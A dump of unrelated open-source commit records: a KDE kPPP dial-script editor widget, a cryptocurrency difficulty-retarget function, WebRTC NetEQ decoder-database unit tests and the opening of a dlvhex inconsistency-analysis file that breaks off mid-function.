\"scriptedit.moc\"\n\n\n\n\n\n<commit_msg>replace deprecated functions<commit_after>\n\/*\n * kPPP: A front end for pppd for the KDE project\n *\n * $Id$\n *\n * Copyright (C) 1997 Bernd Johannes Wuebben\n * wuebben@math.cornell.edu\n *\n * based on EzPPP:\n * Copyright (C) 1997 Jay Painter\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this program; if not, write to the Free\n * Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n *\/\n\n#include \"scriptedit.h\"\n#include <qlayout.h>\n#include <qcombobox.h>\n#include <qlineedit.h>\n\/\/Added by qt3to4:\n#include <QHBoxLayout>\n\nScriptEdit::ScriptEdit( QWidget *parent )\n : QWidget(parent)\n{\n QHBoxLayout *tl = new QHBoxLayout(this);\n tl->setSpacing(10);\n tl->setMargin(0);\n\n st = new QComboBox(this);\n st->setObjectName(\"st\");\n st->addItem(\"Expect\");\n st->addItem(\"Send\");\n st->addItem(\"Pause (sec)\");\n st->addItem(\"Hangup\");\n st->addItem(\"Answer\");\n st->addItem(\"Timeout (sec)\");\n st->addItem(\"Password\");\n st->addItem(\"ID\");\n st->addItem(\"Prompt\");\n st->addItem(\"PWPrompt\");\n st->addItem(\"LoopStart\");\n st->addItem(\"LoopEnd\");\n st->addItem(\"Scan\");\n st->addItem(\"Save\");\n st->addItem(\"SendNoEcho\");\n connect(st, SIGNAL(activated(int)), SLOT(setType(int)));\n\n se = new QLineEdit(this, \"se\");\n se->setGeometry(120, 5, 140, 25);\n se->setMaxLength(50);\n connect(se, SIGNAL(returnPressed()), SLOT(seReturnPressed()));\n\n tl->addWidget(st, 3);\n tl->addWidget(se, 7);\n\n setType(0);\n\n tl->activate();\n}\n\n\nvoid ScriptEdit::setEnabled(bool b) {\n se->setEnabled(b);\n st->setEnabled(b);\n}\n\nvoid ScriptEdit::seReturnPressed() {\n emit returnPressed();\n}\n\n\nQString ScriptEdit::text()const {\n return se->text();\n}\n\nvoid ScriptEdit::setText(const QString &t) {\n se->setText(t);\n}\n\n\nint ScriptEdit::type()const {\n return st->currentIndex();\n}\n\nvoid ScriptEdit::setType(int i) {\n switch(i) {\n case Expect:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Send:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Pause:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Hangup:\n se->setText(\"\");\n se->setEnabled(FALSE);\n break;\n\n case Answer:\n se->setText(\"\");\n se->setEnabled(FALSE);\n break;\n\n case Timeout:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Password:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case ID:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Prompt:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case PWPrompt:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case LoopStart:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case LoopEnd:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Scan:\n se->setText(\"\");\n se->setEnabled(TRUE);\n break;\n\n case Save:\n se->setText(\"password\");\n se->setEnabled(FALSE);\n break;\n\n default: break;\n }\n}\n\n#include \"scriptedit.moc\"\n\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>#include <inttypes.h>\n\n#include \"constants.h\"\n#include \"main.h\"\n#include \"types.h\"\n\n#include \"GetNextTargetRequired.h\"\n\ncompact_target_t GetNextTargetRequired(CBlockIndex const * pindexTail0, bool fProofOfStake)\n{\n target_t initialTarget = POW_INITIAL_TARGET;\n\n if (pindexTail0 == NULL)\n return initialTarget.GetCompact(); \/\/ genesis block\n\n CBlockIndex const * pindexTail1 = GetLastBlockIndex(pindexTail0, fProofOfStake);\n\n if (pindexTail1->pprev == NULL)\n return initialTarget.GetCompact(); \/\/ first block\n\n CBlockIndex const * pindexTail2 = GetLastBlockIndex(pindexTail1->pprev, fProofOfStake);\n\n if (pindexTail2->pprev == NULL)\n return initialTarget.GetCompact(); \/\/ second block\n\n timestamp_t actualSpacing = pindexTail1->GetBlockTime() - pindexTail2->GetBlockTime();\n timestamp_t targetSpacing = fProofOfStake ? POS_TARGET_SPACING : POW_TARGET_SPACING;\n timestamp_t targetInterval = TARGET_TIMESPAN \/ targetSpacing;\n\n \/\/ ppcoin: target change every block\n \/\/ ppcoin: retarget with exponential moving toward target spacing\n\n target_t currentTarget = CBigNum().SetCompact(pindexTail1->nBits);\n target_t newTarget = currentTarget;\n\n newTarget *= ((targetInterval - 1) * targetSpacing + actualSpacing + actualSpacing);\n newTarget \/= ((targetInterval + 1) * targetSpacing);\n\n target_t maxTarget = fProofOfStake ? POS_MAX_TARGET : POW_MAX_TARGET;\n\n if (newTarget > maxTarget)\n newTarget = maxTarget;\n\n printf(\"Expecting: %llis Actual: %llis Old Difficulty: %x New Difficulty: %x (%s)\\n\", targetSpacing, actualSpacing, currentTarget.GetCompact(), newTarget.GetCompact(), fProofOfStake ? \"PoS\" : \"PoW\");\n\n return newTarget.GetCompact();\n}\n<commit_msg>Comments out debug informations<commit_after>#include <inttypes.h>\n\n#include \"constants.h\"\n#include \"main.h\"\n#include \"types.h\"\n\n#include \"GetNextTargetRequired.h\"\n\ncompact_target_t GetNextTargetRequired(CBlockIndex const * pindexTail0, bool fProofOfStake)\n{\n target_t initialTarget = POW_INITIAL_TARGET;\n\n if (pindexTail0 == NULL)\n return initialTarget.GetCompact(); \/\/ genesis block\n\n CBlockIndex const * pindexTail1 = GetLastBlockIndex(pindexTail0, fProofOfStake);\n\n if (pindexTail1->pprev == NULL)\n return initialTarget.GetCompact(); \/\/ first block\n\n CBlockIndex const * pindexTail2 = GetLastBlockIndex(pindexTail1->pprev, fProofOfStake);\n\n if (pindexTail2->pprev == NULL)\n return initialTarget.GetCompact(); \/\/ second block\n\n timestamp_t actualSpacing = pindexTail1->GetBlockTime() - pindexTail2->GetBlockTime();\n timestamp_t targetSpacing = fProofOfStake ? POS_TARGET_SPACING : POW_TARGET_SPACING;\n timestamp_t targetInterval = TARGET_TIMESPAN \/ targetSpacing;\n\n \/\/ ppcoin: target change every block\n \/\/ ppcoin: retarget with exponential moving toward target spacing\n\n target_t currentTarget = CBigNum().SetCompact(pindexTail1->nBits);\n target_t newTarget = currentTarget;\n\n newTarget *= ((targetInterval - 1) * targetSpacing + actualSpacing + actualSpacing);\n newTarget \/= ((targetInterval + 1) * targetSpacing);\n\n target_t maxTarget = fProofOfStake ? POS_MAX_TARGET : POW_MAX_TARGET;\n\n if (newTarget > maxTarget)\n newTarget = maxTarget;\n\n \/\/printf(\"Expecting: %llis Actual: %llis Old Difficulty: %x New Difficulty: %x (%s)\\n\", targetSpacing, actualSpacing, currentTarget.GetCompact(), newTarget.GetCompact(), fProofOfStake ? \"PoS\" : \"PoW\");\n\n return newTarget.GetCompact();\n}\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Add Workbench name as Tab item tooltip<commit_after><|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/modules\/audio_coding\/neteq4\/decoder_database.h\"\n\n#include <assert.h>\n#include <stdlib.h>\n\n#include <string>\n\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n\n#include \"webrtc\/modules\/audio_coding\/neteq4\/mock\/mock_audio_decoder.h\"\n#include \"webrtc\/test\/testsupport\/gtest_disable.h\"\n\nnamespace webrtc {\n\nTEST(DecoderDatabase, CreateAndDestroy) {\n DecoderDatabase db;\n EXPECT_EQ(0, db.Size());\n EXPECT_TRUE(db.Empty());\n}\n\nTEST(DecoderDatabase, InsertAndRemove) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderPCMu));\n EXPECT_EQ(1, db.Size());\n EXPECT_FALSE(db.Empty());\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(kPayloadType));\n EXPECT_EQ(0, db.Size());\n EXPECT_TRUE(db.Empty());\n}\n\nTEST(DecoderDatabase, GetDecoderInfo) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderPCMu));\n const DecoderDatabase::DecoderInfo* info;\n info = db.GetDecoderInfo(kPayloadType);\n ASSERT_TRUE(info != NULL);\n EXPECT_EQ(kDecoderPCMu, info->codec_type);\n EXPECT_EQ(NULL, info->decoder);\n EXPECT_EQ(8000, info->fs_hz);\n EXPECT_FALSE(info->external);\n info = db.GetDecoderInfo(kPayloadType + 1); \/\/ Other payload type.\n EXPECT_TRUE(info == NULL); \/\/ Should not be found.\n}\n\nTEST(DecoderDatabase, GetRtpPayloadType) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderPCMu));\n EXPECT_EQ(kPayloadType, db.GetRtpPayloadType(kDecoderPCMu));\n const uint8_t expected_value = DecoderDatabase::kRtpPayloadTypeError;\n EXPECT_EQ(expected_value,\n db.GetRtpPayloadType(kDecoderISAC)); \/\/ iSAC is not registered.\n}\n\nTEST(DecoderDatabase, DISABLED_ON_ANDROID(GetDecoder)) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderILBC));\n AudioDecoder* dec = db.GetDecoder(kPayloadType);\n ASSERT_TRUE(dec != NULL);\n}\n\nTEST(DecoderDatabase, TypeTests) {\n DecoderDatabase db;\n const uint8_t kPayloadTypePcmU = 0;\n const uint8_t kPayloadTypeCng = 13;\n const uint8_t kPayloadTypeDtmf = 100;\n const uint8_t kPayloadTypeRed = 101;\n const uint8_t kPayloadNotUsed = 102;\n \/\/ Load into database.\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypePcmU, kDecoderPCMu));\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypeCng, kDecoderCNGnb));\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypeDtmf, kDecoderAVT));\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypeRed, kDecoderRED));\n EXPECT_EQ(4, db.Size());\n \/\/ Test.\n EXPECT_FALSE(db.IsComfortNoise(kPayloadNotUsed));\n EXPECT_FALSE(db.IsDtmf(kPayloadNotUsed));\n EXPECT_FALSE(db.IsRed(kPayloadNotUsed));\n EXPECT_FALSE(db.IsComfortNoise(kPayloadTypePcmU));\n EXPECT_FALSE(db.IsDtmf(kPayloadTypePcmU));\n EXPECT_FALSE(db.IsRed(kPayloadTypePcmU));\n EXPECT_FALSE(db.IsType(kPayloadTypePcmU, kDecoderISAC));\n EXPECT_TRUE(db.IsType(kPayloadTypePcmU, kDecoderPCMu));\n EXPECT_TRUE(db.IsComfortNoise(kPayloadTypeCng));\n EXPECT_TRUE(db.IsDtmf(kPayloadTypeDtmf));\n EXPECT_TRUE(db.IsRed(kPayloadTypeRed));\n}\n\nTEST(DecoderDatabase, ExternalDecoder) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n MockAudioDecoder decoder;\n \/\/ Load into database.\n EXPECT_EQ(DecoderDatabase::kOK,\n db.InsertExternal(kPayloadType, kDecoderPCMu, 8000,\n &decoder));\n EXPECT_EQ(1, db.Size());\n \/\/ Get decoder and make sure we get the external one.\n EXPECT_EQ(&decoder, db.GetDecoder(kPayloadType));\n \/\/ Get the decoder info struct and check it too.\n const DecoderDatabase::DecoderInfo* info;\n info = db.GetDecoderInfo(kPayloadType);\n ASSERT_TRUE(info != NULL);\n EXPECT_EQ(kDecoderPCMu, info->codec_type);\n EXPECT_EQ(&decoder, info->decoder);\n EXPECT_EQ(8000, info->fs_hz);\n EXPECT_TRUE(info->external);\n \/\/ Expect not to delete the decoder when removing it from the database, since\n \/\/ it was declared externally.\n EXPECT_CALL(decoder, Die()).Times(0);\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(kPayloadType));\n EXPECT_TRUE(db.Empty());\n\n EXPECT_CALL(decoder, Die()).Times(1); \/\/ Will be called when |db| is deleted.\n}\n\nTEST(DecoderDatabase, CheckPayloadTypes) {\n DecoderDatabase db;\n \/\/ Load a number of payloads into the database. Payload types are 0, 1, ...,\n \/\/ while the decoder type is the same for all payload types (this does not\n \/\/ matter for the test).\n const int kNumPayloads = 10;\n for (uint8_t payload_type = 0; payload_type < kNumPayloads; ++payload_type) {\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(payload_type, kDecoderArbitrary));\n }\n PacketList packet_list;\n for (int i = 0; i < kNumPayloads + 1; ++i) {\n \/\/ Create packet with payload type |i|. The last packet will have a payload\n \/\/ type that is not registered in the decoder database.\n Packet* packet = new Packet;\n packet->header.payloadType = i;\n packet_list.push_back(packet);\n }\n\n \/\/ Expect to return false, since the last packet is of an unknown type.\n EXPECT_EQ(DecoderDatabase::kDecoderNotFound,\n db.CheckPayloadTypes(packet_list));\n\n delete packet_list.back();\n packet_list.pop_back(); \/\/ Remove the unknown one.\n\n EXPECT_EQ(DecoderDatabase::kOK, db.CheckPayloadTypes(packet_list));\n\n \/\/ Delete all packets.\n PacketList::iterator it = packet_list.begin();\n while (it != packet_list.end()) {\n delete packet_list.front();\n it = packet_list.erase(it);\n }\n}\n\n\/\/ Test the methods for setting and getting active speech and CNG decoders.\nTEST(DecoderDatabase, ActiveDecoders) {\n DecoderDatabase db;\n \/\/ Load payload types.\n ASSERT_EQ(DecoderDatabase::kOK, db.RegisterPayload(0, kDecoderPCMu));\n ASSERT_EQ(DecoderDatabase::kOK, db.RegisterPayload(103, kDecoderISAC));\n ASSERT_EQ(DecoderDatabase::kOK, db.RegisterPayload(13, kDecoderCNGnb));\n \/\/ Verify that no decoders are active from the start.\n EXPECT_EQ(NULL, db.GetActiveDecoder());\n EXPECT_EQ(NULL, db.GetActiveCngDecoder());\n\n \/\/ Set active speech codec.\n bool changed; \/\/ Should be true when the active decoder changed.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveDecoder(0, &changed));\n EXPECT_TRUE(changed);\n AudioDecoder* decoder = db.GetActiveDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderPCMu, decoder->codec_type());\n\n \/\/ Set the same again. Expect no change.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveDecoder(0, &changed));\n EXPECT_FALSE(changed);\n decoder = db.GetActiveDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderPCMu, decoder->codec_type());\n\n \/\/ Change active decoder.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveDecoder(103, &changed));\n EXPECT_TRUE(changed);\n decoder = db.GetActiveDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderISAC, decoder->codec_type());\n\n \/\/ Remove the active decoder, and verify that the active becomes NULL.\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(103));\n EXPECT_EQ(NULL, db.GetActiveDecoder());\n\n \/\/ Set active CNG codec.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveCngDecoder(13));\n decoder = db.GetActiveCngDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderCNGnb, decoder->codec_type());\n\n \/\/ Remove the active CNG decoder, and verify that the active becomes NULL.\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(13));\n EXPECT_EQ(NULL, db.GetActiveCngDecoder());\n\n \/\/ Try to set non-existing codecs as active.\n EXPECT_EQ(DecoderDatabase::kDecoderNotFound,\n db.SetActiveDecoder(17, &changed));\n EXPECT_EQ(DecoderDatabase::kDecoderNotFound,\n db.SetActiveCngDecoder(17));\n}\n} \/\/ namespace webrtc\n<commit_msg>Re-enable NetEQ DecoderDatabase test for Android<commit_after>\/*\n * Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n * Use of this source code is governed by a BSD-style license\n * that can be found in the LICENSE file in the root of the source\n * tree. An additional intellectual property rights grant can be found\n * in the file PATENTS. All contributing project authors may\n * be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/modules\/audio_coding\/neteq4\/decoder_database.h\"\n\n#include <assert.h>\n#include <stdlib.h>\n\n#include <string>\n\n#include \"gmock\/gmock.h\"\n#include \"gtest\/gtest.h\"\n\n#include \"webrtc\/modules\/audio_coding\/neteq4\/mock\/mock_audio_decoder.h\"\n#include \"webrtc\/test\/testsupport\/gtest_disable.h\"\n\nnamespace webrtc {\n\nTEST(DecoderDatabase, CreateAndDestroy) {\n DecoderDatabase db;\n EXPECT_EQ(0, db.Size());\n EXPECT_TRUE(db.Empty());\n}\n\nTEST(DecoderDatabase, InsertAndRemove) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderPCMu));\n EXPECT_EQ(1, db.Size());\n EXPECT_FALSE(db.Empty());\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(kPayloadType));\n EXPECT_EQ(0, db.Size());\n EXPECT_TRUE(db.Empty());\n}\n\nTEST(DecoderDatabase, GetDecoderInfo) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderPCMu));\n const DecoderDatabase::DecoderInfo* info;\n info = db.GetDecoderInfo(kPayloadType);\n ASSERT_TRUE(info != NULL);\n EXPECT_EQ(kDecoderPCMu, info->codec_type);\n EXPECT_EQ(NULL, info->decoder);\n EXPECT_EQ(8000, info->fs_hz);\n EXPECT_FALSE(info->external);\n info = db.GetDecoderInfo(kPayloadType + 1); \/\/ Other payload type.\n EXPECT_TRUE(info == NULL); \/\/ Should not be found.\n}\n\nTEST(DecoderDatabase, GetRtpPayloadType) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderPCMu));\n EXPECT_EQ(kPayloadType, db.GetRtpPayloadType(kDecoderPCMu));\n const uint8_t expected_value = DecoderDatabase::kRtpPayloadTypeError;\n EXPECT_EQ(expected_value,\n db.GetRtpPayloadType(kDecoderISAC)); \/\/ iSAC is not registered.\n}\n\nTEST(DecoderDatabase, GetDecoder) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadType, kDecoderPCM16B));\n AudioDecoder* dec = db.GetDecoder(kPayloadType);\n ASSERT_TRUE(dec != NULL);\n}\n\nTEST(DecoderDatabase, TypeTests) {\n DecoderDatabase db;\n const uint8_t kPayloadTypePcmU = 0;\n const uint8_t kPayloadTypeCng = 13;\n const uint8_t kPayloadTypeDtmf = 100;\n const uint8_t kPayloadTypeRed = 101;\n const uint8_t kPayloadNotUsed = 102;\n \/\/ Load into database.\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypePcmU, kDecoderPCMu));\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypeCng, kDecoderCNGnb));\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypeDtmf, kDecoderAVT));\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(kPayloadTypeRed, kDecoderRED));\n EXPECT_EQ(4, db.Size());\n \/\/ Test.\n EXPECT_FALSE(db.IsComfortNoise(kPayloadNotUsed));\n EXPECT_FALSE(db.IsDtmf(kPayloadNotUsed));\n EXPECT_FALSE(db.IsRed(kPayloadNotUsed));\n EXPECT_FALSE(db.IsComfortNoise(kPayloadTypePcmU));\n EXPECT_FALSE(db.IsDtmf(kPayloadTypePcmU));\n EXPECT_FALSE(db.IsRed(kPayloadTypePcmU));\n EXPECT_FALSE(db.IsType(kPayloadTypePcmU, kDecoderISAC));\n EXPECT_TRUE(db.IsType(kPayloadTypePcmU, kDecoderPCMu));\n EXPECT_TRUE(db.IsComfortNoise(kPayloadTypeCng));\n EXPECT_TRUE(db.IsDtmf(kPayloadTypeDtmf));\n EXPECT_TRUE(db.IsRed(kPayloadTypeRed));\n}\n\nTEST(DecoderDatabase, ExternalDecoder) {\n DecoderDatabase db;\n const uint8_t kPayloadType = 0;\n MockAudioDecoder decoder;\n \/\/ Load into database.\n EXPECT_EQ(DecoderDatabase::kOK,\n db.InsertExternal(kPayloadType, kDecoderPCMu, 8000,\n &decoder));\n EXPECT_EQ(1, db.Size());\n \/\/ Get decoder and make sure we get the external one.\n EXPECT_EQ(&decoder, db.GetDecoder(kPayloadType));\n \/\/ Get the decoder info struct and check it too.\n const DecoderDatabase::DecoderInfo* info;\n info = db.GetDecoderInfo(kPayloadType);\n ASSERT_TRUE(info != NULL);\n EXPECT_EQ(kDecoderPCMu, info->codec_type);\n EXPECT_EQ(&decoder, info->decoder);\n EXPECT_EQ(8000, info->fs_hz);\n EXPECT_TRUE(info->external);\n \/\/ Expect not to delete the decoder when removing it from the database, since\n \/\/ it was declared externally.\n EXPECT_CALL(decoder, Die()).Times(0);\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(kPayloadType));\n EXPECT_TRUE(db.Empty());\n\n EXPECT_CALL(decoder, Die()).Times(1); \/\/ Will be called when |db| is deleted.\n}\n\nTEST(DecoderDatabase, CheckPayloadTypes) {\n DecoderDatabase db;\n \/\/ Load a number of payloads into the database. Payload types are 0, 1, ...,\n \/\/ while the decoder type is the same for all payload types (this does not\n \/\/ matter for the test).\n const int kNumPayloads = 10;\n for (uint8_t payload_type = 0; payload_type < kNumPayloads; ++payload_type) {\n EXPECT_EQ(DecoderDatabase::kOK,\n db.RegisterPayload(payload_type, kDecoderArbitrary));\n }\n PacketList packet_list;\n for (int i = 0; i < kNumPayloads + 1; ++i) {\n \/\/ Create packet with payload type |i|. The last packet will have a payload\n \/\/ type that is not registered in the decoder database.\n Packet* packet = new Packet;\n packet->header.payloadType = i;\n packet_list.push_back(packet);\n }\n\n \/\/ Expect to return false, since the last packet is of an unknown type.\n EXPECT_EQ(DecoderDatabase::kDecoderNotFound,\n db.CheckPayloadTypes(packet_list));\n\n delete packet_list.back();\n packet_list.pop_back(); \/\/ Remove the unknown one.\n\n EXPECT_EQ(DecoderDatabase::kOK, db.CheckPayloadTypes(packet_list));\n\n \/\/ Delete all packets.\n PacketList::iterator it = packet_list.begin();\n while (it != packet_list.end()) {\n delete packet_list.front();\n it = packet_list.erase(it);\n }\n}\n\n\/\/ Test the methods for setting and getting active speech and CNG decoders.\nTEST(DecoderDatabase, ActiveDecoders) {\n DecoderDatabase db;\n \/\/ Load payload types.\n ASSERT_EQ(DecoderDatabase::kOK, db.RegisterPayload(0, kDecoderPCMu));\n ASSERT_EQ(DecoderDatabase::kOK, db.RegisterPayload(103, kDecoderISAC));\n ASSERT_EQ(DecoderDatabase::kOK, db.RegisterPayload(13, kDecoderCNGnb));\n \/\/ Verify that no decoders are active from the start.\n EXPECT_EQ(NULL, db.GetActiveDecoder());\n EXPECT_EQ(NULL, db.GetActiveCngDecoder());\n\n \/\/ Set active speech codec.\n bool changed; \/\/ Should be true when the active decoder changed.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveDecoder(0, &changed));\n EXPECT_TRUE(changed);\n AudioDecoder* decoder = db.GetActiveDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderPCMu, decoder->codec_type());\n\n \/\/ Set the same again. Expect no change.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveDecoder(0, &changed));\n EXPECT_FALSE(changed);\n decoder = db.GetActiveDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderPCMu, decoder->codec_type());\n\n \/\/ Change active decoder.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveDecoder(103, &changed));\n EXPECT_TRUE(changed);\n decoder = db.GetActiveDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderISAC, decoder->codec_type());\n\n \/\/ Remove the active decoder, and verify that the active becomes NULL.\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(103));\n EXPECT_EQ(NULL, db.GetActiveDecoder());\n\n \/\/ Set active CNG codec.\n EXPECT_EQ(DecoderDatabase::kOK, db.SetActiveCngDecoder(13));\n decoder = db.GetActiveCngDecoder();\n ASSERT_FALSE(decoder == NULL); \/\/ Should get a decoder here.\n EXPECT_EQ(kDecoderCNGnb, decoder->codec_type());\n\n \/\/ Remove the active CNG decoder, and verify that the active becomes NULL.\n EXPECT_EQ(DecoderDatabase::kOK, db.Remove(13));\n EXPECT_EQ(NULL, db.GetActiveCngDecoder());\n\n \/\/ Try to set non-existing codecs as active.\n EXPECT_EQ(DecoderDatabase::kDecoderNotFound,\n db.SetActiveDecoder(17, &changed));\n EXPECT_EQ(DecoderDatabase::kDecoderNotFound,\n db.SetActiveCngDecoder(17));\n}\n} \/\/ namespace webrtc\n<|endoftext|>"} {"text":"<commit_before>\/* dlvhex -- Answer-Set Programming with external interfaces.\n * Copyright (C) 2005-2007 Roman Schindlauer\n * Copyright (C) 2006-2015 Thomas Krennwallner\n * Copyright (C) 2009-2016 Peter Schüller\n * Copyright (C) 2011-2016 Christoph Redl\n * Copyright (C) 2015-2016 Tobias Kaminski\n * Copyright (C) 2015-2016 Antonius Weinzierl\n *\n * This file is part of dlvhex.\n *\n * dlvhex is free software; you can redistribute it and\/or modify it\n * under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation; either version 2.1 of\n * the License, or (at your option) any later version.\n *\n * dlvhex is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with dlvhex; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n * 02110-1301 USA.\n *\/\n\n\/**\n * @file InconsistencyAnalyzer.cpp\n * @author Christoph Redl\n * @date Wed April 20 2016\n *\n * @brief Computes a reason for the inconsistency in a program unit.\n *\n *\/\n\n#ifdef HAVE_CONFIG_H\n#include \"config.h\"\n#endif\n\n#include \"dlvhex2\/BaseModelGenerator.h\"\n#include \"dlvhex2\/InconsistencyAnalyzer.h\"\n#include \"dlvhex2\/Printer.h\"\n#include \"dlvhex2\/ProgramCtx.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/Benchmarking.h\"\n#include \"dlvhex2\/InternalGrounder.h\"\n#include \"dlvhex2\/SATSolver.h\"\n\n#include <boost\/graph\/breadth_first_search.hpp>\n#include <boost\/graph\/visitors.hpp>\n#include <boost\/graph\/strong_components.hpp>\n#include <boost\/graph\/filtered_graph.hpp>\n\n#include <boost\/foreach.hpp>\n\nDLVHEX_NAMESPACE_BEGIN\n\nInconsistencyAnalyzer::InconsistencyAnalyzer(ProgramCtx& ctx) : ctx(ctx){\n}\n\nID InconsistencyAnalyzer::getAuxiliaryAtom(char type, ID id){\n OrdinaryAtom oatom(ID::MAINKIND_ATOM | ID::SUBKIND_ATOM_ORDINARYG | ID::PROPERTY_AUX);\n oatom.tuple.push_back(ctx.registry()->getAuxiliaryConstantSymbol(type, id));\n return ctx.registry()->storeOrdinaryAtom(oatom);\n}\n\nNogood InconsistencyAnalyzer::getInconsistencyReason(BaseModelGenerator* mg, InterpretationConstPtr explAtoms, std::vector<ID>& innerEatoms, OrdinaryASPProgram& program, AnnotatedGroundProgram& annotatedOptimizedProgram, bool* haveInconsistencyReason){\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Performing inconsistency analyzis for program:\" << std::endl << *program.edb << std::endl << printManyToString<RawPrinter>(program.idb, \"\\n\", ctx.registry()));\n#endif\n\n \/\/ ground the program without optimization\n InternalGrounder grounder(ctx, program, InternalGrounder::builtin);\n OrdinaryASPProgram gp = grounder.getGroundProgram();\n\n#ifndef NDEBUG\n DBGLOG(DBG, \"Unoptimized grounded program:\" << std::endl << *gp.edb << std::endl << printManyToString<RawPrinter>(gp.idb, \"\\n\", ctx.registry()));\n#endif\n InterpretationPtr programAtoms(new Interpretation(*gp.edb));\n BOOST_FOREACH (ID ruleID, gp.idb) {\n const Rule& rule = ctx.registry()->rules.getByID(ruleID);\n BOOST_FOREACH (ID h, rule.head) programAtoms->setFact(h.address);\n BOOST_FOREACH (ID b, rule.body) programAtoms->setFact(b.address);\n }\n\n \/\/ construct analysis program\n 